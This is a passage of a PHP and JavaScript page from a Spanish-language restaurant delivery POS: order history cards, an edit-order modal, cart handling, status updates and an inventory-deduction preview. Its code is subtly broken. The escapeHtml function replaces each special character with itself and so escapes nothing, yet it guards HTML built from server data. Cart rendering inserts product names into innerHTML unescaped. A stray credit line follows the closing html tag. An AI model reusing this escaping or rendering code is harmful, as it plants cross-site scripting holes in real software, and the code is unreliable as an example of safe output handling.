?>" data-status="<?= htmlspecialchars($order['status'] ?? '', ENT_QUOTES, 'UTF-8'); ?>" data-items="<?= htmlspecialchars(base64_encode($order['order_items']), ENT_QUOTES, 'UTF-8'); ?>" data-total="<?= (float)$order['total_amount']; ?>" data-preparer-id="<?= isset($order['preparer_id']) ? (int)$order['preparer_id'] : '' ?>" data-preparer-ids="<?= htmlspecialchars($preparerIdsAttr, ENT_QUOTES, 'UTF-8'); ?>"> <div class="order-header"> <div> <h4 class="order-number"><i class="fas fa-hashtag"></i> Pedido #<?= $displayNumber; ?></h4> <span style="font-size:0.85rem;color:var(--pos-text-muted);"><i class="far fa-clock"></i> <?= date('d/m/Y h:i A', strtotime($order['created_at'])); ?></span> </div> <span class="order-status-badge badge-<?= htmlspecialchars($order['status']); ?>"><?= $statusLabel; ?></span> </div> <div class="order-meta"> <span><i class="fas fa-user"></i> <?= htmlspecialchars($order['customer_name']); ?></span> <span><i class="fas fa-phone"></i> <?= htmlspecialchars($order['phone']); ?></span> <span><i class="fas fa-map-marker-alt"></i> <?= htmlspecialchars($order['address']); ?></span> <span><i class="fas fa-money-bill-wave"></i> <?= ucfirst($order['payment_method']); ?></span> <?php if($preparerNames !== ''): ?><span><i class="fas fa-user-tie"></i> <?= htmlspecialchars($preparerNames); ?></span><?php endif; ?> </div> <div class="order-items-list"> <?php if(is_array($items)): foreach($items as $item): $pid = (int)($item['id'] ?? 0); $prepForItem = $preparerNames; ?> <div class="order-item"> <div><span class="item-qty"><?= (int)$item['cantidad']; ?>x</span> <?= htmlspecialchars($item['nombre']); ?></div> <span><?= htmlspecialchars(formatMoney((float)($item['precio'] * $item['cantidad']), $conn)); ?></span> </div> <?php endforeach; endif; ?> </div> <?php if(!empty($order['notes'])): ?> <div class="order-notes"><i class="fas fa-sticky-note"></i> <?= nl2br(htmlspecialchars($order['notes'])); ?></div> <?php endif; ?> <div class="order-total"><span>Total</span><span><?= htmlspecialchars(formatMoney((float)$order['total_amount'], $conn)); ?></span></div> <div class="order-actions"> <button class="btn-action btn-edit" data-action="edit"><i class="fas fa-edit"></i> <span>Editar</span></button> <button class="btn-action btn-status-btn" data-action="status"><i class="fas fa-sync-alt"></i> <span>Estado</span></button> <button class="btn-action btn-print" data-action="print"><i class="fas fa-print"></i> <span>Imprimir</span></button> <button class="btn-action btn-delete" data-action="delete"><i class="fas fa-trash"></i> <span>Eliminar</span></button> </div> </article> <?php endforeach; ?> </div> <?php endif; ?> </section> <!-- Modal Editar --> <div class="pos-modal" id="editModal"> <div class="pos-modal-header"> <div class="pos-modal-header-left"> <h2 class="pos-modal-title"><i class="fas fa-pen"></i> <span class="modal-title-text">Editar Pedido Histórico</span></h2> <div class="pos-modal-total-badge"> <div><span class="pos-modal-total-label">Total</span><br><span class="pos-modal-total-value" id="editHeaderTotal">$0</span></div> <span class="pos-modal-items-count" id="editHeaderCount">0 items</span> </div> </div> <div class="pos-modal-tabs"> <button type="button" class="pos-tab-btn active" data-tab="menu" onclick="switchPosTab('edit', 'menu')"><i class="fas fa-utensils"></i> <span>Menú</span></button> <button type="button" class="pos-tab-btn" data-tab="order" onclick="switchPosTab('edit', 'order')"><i class="fas fa-shopping-cart"></i> <span>Orden</span> <span class="tab-badge" id="editTabBadge">0</span></button> </div> <button class="btn-close-modal" data-close="edit"><i class="fas fa-times"></i> <span class="btn-text">Salir</span></button> </div> <div class="pos-modal-body" id="editModalBody"> <div class="pos-pane-left"> <div class="pos-search-bar"><input type="text" class="pos-search-input" id="editSearchInput" placeholder="Buscar producto por nombre..." oninput="searchProducts('edit', this.value)"></div> <div class="pos-categories" id="editCategoryContainer"> <button type="button" class="btn-category active" data-category="" onclick="toggleCategoryBtn('edit', this)">Todas</button> <?php foreach($productosPorCategoria as $catKey => $catData): ?> <button type="button" class="btn-category" data-category="<?= htmlspecialchars($catKey); ?>" onclick="toggleCategoryBtn('edit', this)"><?= htmlspecialchars($catData['nombre']); ?></button> <?php endforeach; ?> </div> <div class="pos-products-wrap"> <div class="pos-products-grid"> <?php foreach($productosPorCategoria as $catKey => $catData): ?> <?php foreach($catData['items'] as $product): $imagePath = !empty($product['image']) ? '../uploaded_img/' . htmlspecialchars($product['image']) : '../images/placeholder.png'; ?> <div class="pos-product category-item-edit-pos" data-category="<?= htmlspecialchars($catKey); ?>" onclick="adjustQuantity('edit', <?= (int)$product['id']; ?>, 1)"> <img src="<?= $imagePath; ?>" alt="<?= htmlspecialchars($product['name']); ?>" class="pos-product-img" onerror="this.src='../images/placeholder.png';"> <h3 class="pos-product-name"><?= htmlspecialchars($product['name']); ?></h3> <div class="pos-product-price"><?= htmlspecialchars(formatMoney((float)$product['price'], $conn)); ?></div> <div class="pos-product-qty-control" onclick="event.stopPropagation()"> <button type="button" class="btn-qty-pos minus" onclick="adjustQuantity('edit', <?= (int)$product['id']; ?>, -1)"><i class="fas fa-minus"></i></button> <span class="qty-display-pos" id="edit-qty-<?= (int)$product['id']; ?>">0</span> <button type="button" class="btn-qty-pos" onclick="adjustQuantity('edit', <?= (int)$product['id']; ?>, 1)"><i class="fas fa-plus"></i></button> </div> </div> <?php endforeach; ?> <?php endforeach; ?> </div> <div id="editCategoryPlaceholder" class="category-placeholder" style="display:none;">Selecciona una categoría para continuar.</div> </div> </div> <form id="editOrderForm" class="pos-pane-right"> <input type="hidden" id="editOrderId" name="order_id"> <div class="pos-right-scroll"> <button type="button" class="btn-back-to-menu" onclick="switchPosTab('edit', 'menu')"><i class="fas fa-arrow-left"></i> Añadir más productos</button> <h4 class="pos-section-title"><i class="fas fa-user"></i> Datos del Cliente</h4> <div class="pos-ticket-header"> <div class="pos-input-wrap"><label>Nombre y Apellido *</label><input type="text" id="editCustomerName" name="customer_name" class="pos-input" required autocomplete="off"></div> <div class="pos-row"> <div class="pos-input-wrap"><label>Teléfono *</label><input type="tel" id="editPhone" name="phone" class="pos-input" required autocomplete="off"></div> <div class="pos-input-wrap"><label>Método de Pago *</label> <select id="editPayment" name="payment_method" class="pos-input" required> <option value="">Seleccione</option><option value="efectivo">Efectivo</option><option value="transferencia">Transferencia</option> </select> </div> </div> <div class="pos-input-wrap"><label>Dirección *</label><textarea id="editAddress" name="address" class="pos-input" rows="2" required></textarea></div> <div class="pos-input-wrap"><label>Estado del Pedido</label> <select id="editStatus" name="status" class="pos-input"> <option value="pendiente">Pendiente</option><option value="en_preparacion">En Preparación</option><option value="en_camino">En Camino</option><option value="entregado">Entregado</option><option value="cancelado">Cancelado</option> </select> </div> <div class="pos-input-wrap preparer-group"><label>Preparadores</label> <div class="pos-preparers-mini" id="editPreparerChecklist"> <?php foreach($preparers as $prep): ?> <label class="pos-prep-item check-item" data-preparer-id="<?= (int)$prep['id']; ?>"> <input type="checkbox" class="preparer-checkbox" value="<?= (int)$prep['id']; ?>"> <span><?= htmlspecialchars($prep['name']); ?></span> </label> <?php endforeach; ?> </div> </div> <div class="pos-input-wrap"><label>Notas</label><textarea id="editNotes" name="notes" class="pos-input"></textarea></div> </div> <h4 class="pos-section-title"><i class="fas fa-shopping-cart"></i> Productos Seleccionados</h4> <div class="pos-cart" id="editCartItems"><div class="cart-empty"><i class="fas fa-shopping-basket" style="font-size:1.5rem;color:#cbd5e1;margin-bottom:0.3rem;"></i><span style="font-weight:700;color:#94a3b8;">Selecciona productos para editar</span></div></div> </div> <div class="pos-ticket-footer"> <div class="pos-total-row"><span class="pos-total-label">Total a cobrar</span><span class="pos-total-amount" id="editCartTotal">$0</span></div> <div class="pos-action-btns"><button type="submit" form="editOrderForm" class="btn-pos-action btn-pos-save"><i class="fas fa-save"></i> Guardar Cambios</button></div> </div> </form> </div> </div> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> const productCatalog = <?= $productosJson; ?>; const editCart = {}; function formatCOP(amount){ if (window.formatMoneyJs) return window.formatMoneyJs(amount); return new Intl.NumberFormat('es-CO').format(amount || 0); } function renderCart(context){ const cart = editCart; const container = document.getElementById('editCartItems'); const totalEl = document.getElementById('editCartTotal'); if(!container || !totalEl) return; const values = Object.values(cart); if(values.length === 0){ container.innerHTML = `<div class="cart-empty"><i class="fas fa-shopping-basket" style="font-size:2rem;color:#cbd5e1;margin-bottom:0.5rem;"></i><span style="font-weight:700;color:#94a3b8;">El pedido está vacío</span></div>`; totalEl.textContent = '$0'; updateHeaderTotal(context); return; } let html = '', total = 0; values.forEach(item => { const subtotal = item.precio * item.cantidad; total += subtotal; html += `<div class="pos-cart-item"> <div class="pos-cart-item-header"> <span class="pos-cart-item-name">${item.nombre}</span> <span class="pos-cart-item-price">${formatCOP(item.precio)} c/u</span> </div> <div class="pos-cart-item-controls"> <div class="pos-cart-qty-group"> <button type="button" class="btn-qty-pos minus" onclick="adjustQuantity('${context}', ${item.id}, -1)" style="width:28px;height:28px;font-size:1rem;"><i class="fas fa-minus"></i></button> <span style="font-weight:800;font-size:1rem;color:var(--pos-secondary);width:24px;text-align:center;">${item.cantidad}</span> <button type="button" class="btn-qty-pos" onclick="adjustQuantity('${context}', ${item.id}, 1)" style="width:28px;height:28px;font-size:1rem;"><i class="fas fa-plus"></i></button> </div> <div style="display:flex;align-items:center;gap:0.75rem;"> <span style="font-weight:900;color:var(--pos-success);">${formatCOP(subtotal)}</span> <button type="button" class="btn-cart-remove" onclick="removeFromCart('${context}', ${item.id})"><i class="fas fa-trash"></i></button> </div> </div> </div>`; }); container.innerHTML = html; totalEl.textContent = formatCOP(total); updateHeaderTotal(context); autoPopulatePreparersFromCart(context); } function switchPosTab(context, tab){ const body = document.getElementById('editModalBody'); const header = document.querySelector(`#editModal .pos-modal-header`); if(!body || !header) return; header.querySelectorAll('.pos-tab-btn').forEach(btn => btn.classList.toggle('active', btn.dataset.tab === tab)); if(tab === 'order') body.classList.add('show-order'); else body.classList.remove('show-order'); } function updateHeaderTotal(context){ const cart = editCart; const hTotal = document.getElementById('editHeaderTotal'); const hCount = document.getElementById('editHeaderCount'); const values = Object.values(cart); let total = 0, count = 0; values.forEach(it => { const q = parseInt(it.cantidad||0,10); total += (parseFloat(it.precio||0)*q); count += q; }); if(hTotal) hTotal.textContent = '$' + formatCOP(total); if(hCount) hCount.textContent = `${count} ${count === 1 ? 'item' : 'items'}`; const tabBadge = document.getElementById('editTabBadge'); if(tabBadge) { const prev = parseInt(tabBadge.textContent||0,10); tabBadge.textContent = count; tabBadge.dataset.count = count; if(count !== prev){ tabBadge.classList.remove('pulse'); void tabBadge.offsetWidth; tabBadge.classList.add('pulse'); setTimeout(() => tabBadge.classList.remove('pulse'), 300); } } } function adjustQuantity(context, productId, delta){ const product = productCatalog[productId]; if(!product) return; const cart = editCart; const qtySpan = document.getElementById(`edit-qty-${productId}`); let current = cart[productId]?.cantidad || 0; current = Math.max(0, current + delta); if(current === 0) delete cart[productId]; else cart[productId] = { id: product.id, nombre: product.name, precio: parseFloat(product.price), coste: parseFloat(product.cost_price||0), cantidad: current, preparer_names: product.preparer_names||'', preparer_ids: product.preparer_ids||'' }; if(qtySpan) qtySpan.textContent = current; renderCart(context); } function removeFromCart(context, productId){ const cart = editCart; if(cart[productId]){ delete cart[productId]; const s = document.getElementById(`edit-qty-${productId}`); if(s) s.textContent='0'; renderCart(context); } } function resetCart(context){ const cart = editCart; Object.keys(cart).forEach(k => delete cart[k]); Object.keys(productCatalog).forEach(pid => { const s = document.getElementById(`edit-qty-${pid}`); if(s) s.textContent='0'; }); renderCart(context); } function toggleCategoryBtn(context, btn){ const container = document.getElementById(`editCategoryContainer`); if(container) container.querySelectorAll('.btn-category').forEach(b => b.classList.remove('active')); if(btn) btn.classList.add('active'); const value = btn ? (btn.dataset.category||'') : ''; const placeholder = document.getElementById(`editCategoryPlaceholder`); const productClass = '.category-item-edit-pos'; let activeCount = 0; document.querySelectorAll(`#editModal ${productClass}`).forEach(item => { if(value === '' || item.dataset.category === value){ item.style.display='flex'; activeCount++; } else { item.style.display='none'; } }); if(placeholder) placeholder.style.display = activeCount > 0 ? 'none' : 'block'; } function searchProducts(context, query){ const q = (query||'').toLowerCase().trim(); const productClass = '.category-item-edit-pos'; const modal = document.getElementById('editModal'); if(!modal) return; if(q.length > 0){ const cc = document.getElementById('editCategoryContainer'); if(cc){ cc.querySelectorAll('.btn-category').forEach(b => b.classList.remove('active')); const ab = cc.querySelector('.btn-category[data-category=""]'); if(ab) ab.classList.add('active'); } } modal.querySelectorAll(productClass).forEach(item => { const name = (item.querySelector('.pos-product-name')?.textContent||'').toLowerCase(); item.style.display = (q===''||name.includes(q)) ? 'flex' : 'none'; }); } // Preparer logic function getPreparerChecklist(ctx){ return document.getElementById(`${ctx}PreparerChecklist`); } function updatePreparerIndicators(ctx){ const cl = getPreparerChecklist(ctx); if(!cl) return; cl.querySelectorAll('.check-item').forEach(row => { const cb = row.querySelector('.preparer-checkbox'); row.classList.toggle('is-selected', !!cb?.checked); }); } function resetPreparerControls(ctx){ const cl = getPreparerChecklist(ctx); if(!cl) return; cl.querySelectorAll('.preparer-checkbox').forEach(cb => { cb.checked=false; }); updatePreparerIndicators(ctx); } function populatePreparerSelection(ctx, rawCsv){ resetPreparerControls(ctx); const cl = getPreparerChecklist(ctx); if(!cl) return; (rawCsv||'').split(',').map(v=>v.trim()).filter(Boolean).forEach(id => { const cb = cl.querySelector(`.preparer-checkbox[value="${id}"]`); if(cb) cb.checked=true; }); updatePreparerIndicators(ctx); } function getCombinedPreparerIds(ctx){ const cl = getPreparerChecklist(ctx); if(!cl) return ''; const ids=[]; cl.querySelectorAll('.preparer-checkbox').forEach(cb => { if(cb.checked && cb.value && !ids.includes(cb.value)) ids.push(cb.value); }); return ids.join(','); } function initPreparerChecklist(ctx){ const cl = getPreparerChecklist(ctx); if(!cl) return; cl.querySelectorAll('.preparer-checkbox').forEach(cb => cb.addEventListener('change', () => updatePreparerIndicators(ctx))); } function derivePreparerIdsFromCart(cartObj){ const ids=[]; Object.values(cartObj).forEach(item => { (item.preparer_ids||'').toString().split(',').map(v=>v.trim()).filter(Boolean).forEach(v => { if(!ids.includes(v)) ids.push(v); }); }); return ids.join(','); } function autoPopulatePreparersFromCart(ctx){ const current = getCombinedPreparerIds(ctx); if(current) return; const cart = editCart; const derived = derivePreparerIdsFromCart(cart); if(!derived) return; populatePreparerSelection(ctx, derived); } // Modal open/close function closeModal(which){ const m = document.getElementById('editModal'); if(m){ m.classList.remove('show'); document.body.style.overflow=''; } } function openModal(which){ const m = document.getElementById('editModal'); if(m){ m.classList.add('show'); document.body.style.overflow='hidden'; } } document.querySelectorAll('[data-close]')?.forEach(btn => btn.addEventListener('click', () => closeModal(btn.dataset.close))); document.addEventListener('DOMContentLoaded', () => { initPreparerChecklist('edit'); }); document.getElementById('editOrderForm')?.addEventListener('submit', function(e){ e.preventDefault(); if(Object.keys(editCart).length===0){ Swal.fire('Aviso','Debes agregar al menos un producto','warning'); return; } const form = e.target; const orderId = form.order_id?.value; if(!orderId){ Swal.fire('Error','No se pudo identificar el pedido','error'); return; } const payload = new URLSearchParams(); payload.set('order_id', orderId); payload.set('customer_name', form.customer_name.value.trim()); payload.set('phone', form.phone.value.trim()); payload.set('address', form.address.value.trim()); payload.set('payment_method', form.payment_method.value); payload.set('notes', form.notes.value.trim()); payload.set('status', form.status.value); payload.set('order_items', JSON.stringify(Object.values(editCart))); let editTotal=0; Object.values(editCart).forEach(it => editTotal += it.precio*it.cantidad); payload.set('total_amount', String(editTotal)); const editPrepCsv = getCombinedPreparerIds('edit'); payload.set('preparer_ids', editPrepCsv); payload.set('preparer_id', editPrepCsv.split(',').map(v=>v.trim()).filter(Boolean)[0]||''); (async () => { if(form.status.value === 'entregado'){ const ok = await confirmInventoryPreviewDelivery({ orderId, orderItemsJson: JSON.stringify(Object.values(editCart)), title:'Confirmar entrega del pedido', confirmText:'Sí, entregar', confirmColor:'#22c55e' }); if(!ok) return; } fetch('update_delivery.php', { method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body: payload.toString(), credentials:'same-origin' }) .then(r => r.json()).then(data => { if(data.success){ closeModal('edit'); Swal.fire('¡Actualizado!','El pedido ha sido modificado','success').then(()=>location.reload()); } else Swal.fire('Error', data.message||'No se pudo actualizar','error'); }).catch(() => Swal.fire('Error','No se pudo actualizar','error')); })(); }); // Fill edit modal from order card function fillEditModal(card){ resetCart('edit'); resetPreparerControls('edit'); if(!card) return; document.getElementById('editOrderId').value = card.dataset.orderId||''; document.getElementById('editCustomerName').value = card.dataset.customer||''; document.getElementById('editPhone').value = card.dataset.phone||''; document.getElementById('editAddress').value = card.dataset.address||''; document.getElementById('editPayment').value = card.dataset.payment||''; document.getElementById('editNotes').value = card.dataset.notes||''; document.getElementById('editStatus').value = card.dataset.status||'pendiente'; populatePreparerSelection('edit', card.dataset.preparerIds || card.dataset.preparerId || ''); let items = []; try { items = JSON.parse(atob(card.dataset.items||'')); } catch(e){ items=[]; } if(!Array.isArray(items)) items = []; items.filter(Boolean).forEach(item => { const product = productCatalog[item.id]; if(!product) return; editCart[item.id] = { id: item.id, nombre: product.name, precio: parseFloat(product.price), coste: parseFloat(product.cost_price||item.coste||0), cantidad: parseInt(item.cantidad||0,10), preparer_names: product.preparer_names||'', preparer_ids: product.preparer_ids||'' }; const span = document.getElementById(`edit-qty-${item.id}`); if(span) span.textContent = item.cantidad; }); renderCart('edit'); toggleCategoryBtn('edit', document.querySelector('#editCategoryContainer .btn-category[data-category=""]')); switchPosTab('edit','menu'); openModal('edit'); } // Order card actions function handleCardAction(event){ const button = event.target.closest('button'); if(!button) return; const action = button.dataset.action; if(!action) return; const card = button.closest('.order-card'); if(!card) return; if(action === 'edit') fillEditModal(card); else if(action === 'status') cambiarEstado(parseInt(card.dataset.orderId), card.dataset.status); else if(action === 'print') imprimirPedido(parseInt(card.dataset.orderId)); else if(action === 'delete'){ Swal.fire({ title:'¿Estás seguro?', text:'Esta acción no se puede deshacer', icon:'warning', showCancelButton:true, confirmButtonText:'Sí, eliminar', cancelButtonText:'Cancelar', confirmButtonColor:'#ef4444', cancelButtonColor:'#6b7280' }).then(result => { if(result.isConfirmed) window.location.href = 'delete_delivery.php?id=' + card.dataset.orderId + '&redirect=delivery_history.php'; }); } } document.getElementById('historyOrdersContainer')?.addEventListener('click', handleCardAction); // Status change function cambiarEstado(id, estadoActual){ const estados = { 'pendiente':'Pendiente', 'en_preparacion':'En Preparación', 'en_camino':'En Camino', 'entregado':'Entregado', 'cancelado':'Cancelado' }; Swal.fire({ title:'Cambiar Estado del Pedido', input:'select', inputOptions:estados, inputValue:estadoActual, showCancelButton:true, confirmButtonText:'Cambiar', cancelButtonText:'Cancelar', confirmButtonColor:'#0ea5e9', cancelButtonColor:'#6b7280', inputValidator:(v)=>{ if(!v) return 'Debes seleccionar un estado'; } }).then(result => { if(!result.isConfirmed) return; (async () => { if(result.value === 'entregado'){ const ok = await confirmInventoryPreviewDelivery({ orderId:id, orderItemsJson:'', title:'Confirmar entrega del pedido', confirmText:'Sí, entregar', confirmColor:'#22c55e' }); if(!ok) return; } fetch('update_delivery_status.php', { method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body: `id=${id}&status=${result.value}`, credentials:'same-origin' }) .then(r => r.json()).then(data => { if(!data?.success){ Swal.fire('Error', data?.message||'No se pudo actualizar','error'); return; } const c2 = document.querySelector(`.order-card[data-order-id="${id}"]`); if(result.value !== 'entregado'){ if(c2){ c2.style.transition='opacity 180ms ease'; c2.style.opacity='0'; setTimeout(()=>{ c2.remove(); checkEmpty(); },190); } Swal.fire('¡Actualizado!','Estado actualizado. El pedido ya no pertenece al historial de entregados y volverá a pedidos activos.','success'); return; } if(c2){ const se = c2.querySelector('.order-status-badge'); if(se){ se.className = `order-status-badge badge-${result.value}`; se.textContent = estados[result.value]; } c2.dataset.status = result.value; } Swal.fire('¡Actualizado!','Estado actualizado.','success'); }).catch(() => Swal.fire('Error','No se pudo actualizar','error')); })(); }); } function checkEmpty(){ const c = document.querySelector('.orders-grid'); if(!c) return; if(c.querySelectorAll('.order-card').length===0){ c.innerHTML='<div class="empty-state"><i class="fas fa-box-open" style="font-size:3rem; color:#cbd5e1; margin-bottom:1rem;"></i><h3>No hay pedidos activos</h3><p>Intenta seleccionar fechas diferentes.</p></div>'; } } function resetHistoryFilters(){ window.location.href = 'delivery_history.php'; } function imprimirPedido(id){ if(!id){ Swal.fire('Error','No se pudo identificar el pedido','error'); return; } window.open(`delivery_order_ticket.php?id=${encodeURIComponent(id)}&print=1`, '_blank'); } // Inventory preview function escapeHtml(v){ return String(v??'').replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"'); } function formatQty(v){ const n=Number(v); if(!isFinite(n)) return '0'; return n.toLocaleString('es-CO',{minimumFractionDigits:0,maximumFractionDigits:3}); } function buildInventoryPreviewHtml(data){ const items = Array.isArray(data?.items) ? data.items : []; const summary = data?.summary || {}; const alreadyDeducted = !!data?.already_deducted; if(items.length===0) return `<div style="text-align:left;">${alreadyDeducted?'<div style="margin-bottom:.5rem;font-weight:800;color:#0f766e;">Inventario ya descontado.</div>':''}<div style="color:#374151;">${escapeHtml(data?.message||'No hay insumos para descontar.')}</div></div>`; let header=''; if(alreadyDeducted) header+='<div style="margin-bottom:.6rem;font-weight:800;color:#0f766e;">Inventario ya descontado. No se volverá a descontar.</div>'; if((summary.negatives||0)>0) header+=`<div style="margin-bottom:.35rem;font-weight:800;color:#b91c1c;">Atención: ${summary.negatives} insumo(s) quedarían en negativo.</div>`; if((summary.lows||0)>0) header+=`<div style="margin-bottom:.35rem;font-weight:800;color:#b45309;">Alerta: ${summary.lows} insumo(s) quedarían por debajo del mínimo.</div>`; const rows = items.map(it => { const neg=!!it.is_negative; const low=!!it.is_low; const bg=neg?'rgba(185,28,28,0.08)':(low?'rgba(180,83,9,0.08)':'transparent'); return `<tr style="background:${bg};"><td style="padding:.55rem .6rem;border-bottom:1px solid #eee;font-weight:800;">${escapeHtml(it.name)}</td><td style="padding:.55rem .6rem;border-bottom:1px solid #eee;text-align:right;font-weight:800;">${formatQty(it.needed)}</td><td style="padding:.55rem .6rem;border-bottom:1px solid #eee;text-align:right;">${formatQty(it.stock)}</td><td style="padding:.55rem .6rem;border-bottom:1px solid #eee;text-align:right;font-weight:900;${neg?'color:#b91c1c;':(low?'color:#b45309;':'color:#0f766e;')}">${formatQty(it.after)}</td><td style="padding:.55rem .6rem;border-bottom:1px solid #eee;text-align:center;color:#6b7280;font-weight:800;">${escapeHtml(it.unit||'u')}</td></tr>`; }).join(''); return `<div style="text-align:left;">${header}<div style="overflow:auto;border:1px solid #eee;border-radius:12px;"><table style="width:100%;border-collapse:collapse;min-width:720px;"><thead><tr style="background:#f9fafb;"><th style="text-align:left;padding:.6rem .6rem;border-bottom:1px solid #eee;">Insumo</th><th style="text-align:right;padding:.6rem;border-bottom:1px solid #eee;">Se descuenta</th><th style="text-align:right;padding:.6rem;border-bottom:1px solid #eee;">Stock actual</th><th style="text-align:right;padding:.6rem;border-bottom:1px solid #eee;">Stock después</th><th style="text-align:center;padding:.6rem;border-bottom:1px solid #eee;">Unidad</th></tr></thead><tbody>${rows}</tbody></table></div></div>`; } async function confirmInventoryPreviewDelivery({ orderId, orderItemsJson, title, confirmText, confirmColor }){ const payload = new URLSearchParams(); payload.set('context','delivery'); if(orderId) payload.set('order_id', String(orderId)); if(orderItemsJson) payload.set('order_items', orderItemsJson); const res = await fetch('preview_inventory_deduction.php', { method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body: payload.toString(), credentials:'same-origin' }); const data = await res.json().catch(()=>null); if(!data||!data.success){ await Swal.fire('Error', data?.message||'No se pudo generar el preview.','error'); return false; } const html = buildInventoryPreviewHtml(data); const result = await Swal.fire({ title: title||'Confirmar descuento', html, icon: (data.summary?.negatives>0)?'warning':'info', showCancelButton:true, confirmButtonText: confirmText||'Confirmar', cancelButtonText:'Cancelar', confirmButtonColor: confirmColor||'#22c55e', cancelButtonColor:'#6b7280', width:'980px' }); return !!result.isConfirmed; } renderCart('edit'); </script> </body> </html>
Coded With 💗 by
0x6ick